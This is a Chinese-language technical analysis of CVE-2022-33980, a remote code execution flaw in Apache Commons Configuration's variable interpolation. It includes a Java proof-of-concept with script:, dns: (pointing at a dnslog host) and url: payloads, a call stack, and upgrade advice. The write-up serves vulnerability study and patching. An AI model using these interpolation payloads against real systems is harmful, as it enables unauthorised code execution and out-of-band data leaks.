CVE-2022-33980命令执行漏洞分析
字数 1355 2025-08-26 22:11:34
Apache Commons Configuration CVE-2022-33980 命令执行漏洞分析
1. 漏洞概述
Apache Commons Configuration是一个Java应用程序的配置管理类库,可以从properties或xml等文件中加载软件配置信息。在2.4至2.7版本中,存在一个通过变量插值导致的远程代码执行漏洞(CVE-2022-33980)。
2. 漏洞原理
2.1 变量插值功能
Apache Commons Configuration提供了变量插值功能,允许在配置文件中使用动态变量引用,例如:
${env:JAVA_HOME}- 获取环境变量${sys:user.home}- 获取系统属性
2.2 漏洞触发点
漏洞存在于ConfigurationInterpolator类的变量插值处理中,攻击者可以通过构造特殊的变量前缀(如script:)来执行任意代码。
3. 漏洞分析
3.1 核心处理流程
- interpolate方法:在
org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate中处理变量插值 - looksLikeSingleVariable:检查格式是否符合变量插值语法
- resolveSingleVariable:解析单个变量
- extractVariableName:提取变量名(去掉
${}等字符) - resolve:解析变量值
- fetchLookupForPrefix:根据前缀获取对应的Lookup对象
3.2 恶意利用方式
3.2.1 脚本执行
${script:javascript:java.lang.Runtime.getRuntime().exec("calc")}
处理流程:
- 提取前缀
script和剩余部分javascript:java.lang.Runtime.getRuntime().exec("calc") - 通过
ScriptStringLookup处理 - 使用Nashorn脚本引擎执行JavaScript代码
- 最终调用Java的Runtime.exec方法执行系统命令
3.2.2 其他危险前缀
-
DNS查询:
${dns:test.uqp639.dnslog.cn} -
URL访问:
${url:http:http://127.0.0.1:8000/}
4. 影响范围
- Apache Commons Configuration 2.4至2.7版本
5. 漏洞复现
5.1 环境搭建
添加Maven依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.7</version>
</dependency>
5.2 测试代码
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class Exploit {
public static void main(String[] args) {
InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
.withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
.create();
ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
// 命令执行
System.out.println(configurationInterpolator.interpolate(
"${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));
// DNS查询
System.out.println(configurationInterpolator.interpolate(
"${dns:test.uqp639.dnslog.cn}"));
// URL访问
System.out.println(configurationInterpolator.interpolate(
"${url:http:http://127.0.0.1:8000/}"));
}
}
6. 调用栈分析
exec:347, Runtime (java.lang)
invokeVirtual_LL_L:-1, 1750905143 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1241529534 (java.lang.invoke.LambdaForm$BMH)
exactInvoker:-1, 1528923159 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 1683662486 (java.lang.invoke.LambdaForm$MH)
:program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_LL_L:-1, 1783593083 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 1740797075 (java.lang.invoke.LambdaForm$MH)
invoke:637, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
lookup:86, ScriptStringLookup (org.apache.commons.text.lookup)
lookup:45, StringLookupAdapter (org.apache.commons.configuration2.interpol)
resolve:497, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
resolveSingleVariable:529, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
interpolate:362, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
main:15, Exploit
7. 修复方案
官方在修复版本中移除了危险的默认前缀:
- 移除了
script、dns、url等危险前缀 - 相关修复commit: f025bc3
8. 安全建议
- 升级到Apache Commons Configuration 2.8.0或更高版本
- 如果无法升级,应禁用危险的变量前缀
- 对用户输入的配置值进行严格过滤
9. 参考链接
- 官方漏洞通告: https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s
- 修复commit: https://github.com/apache/commons-configuration/commit/f025bc399e8125ffc7701ac74f09b833c5b5e152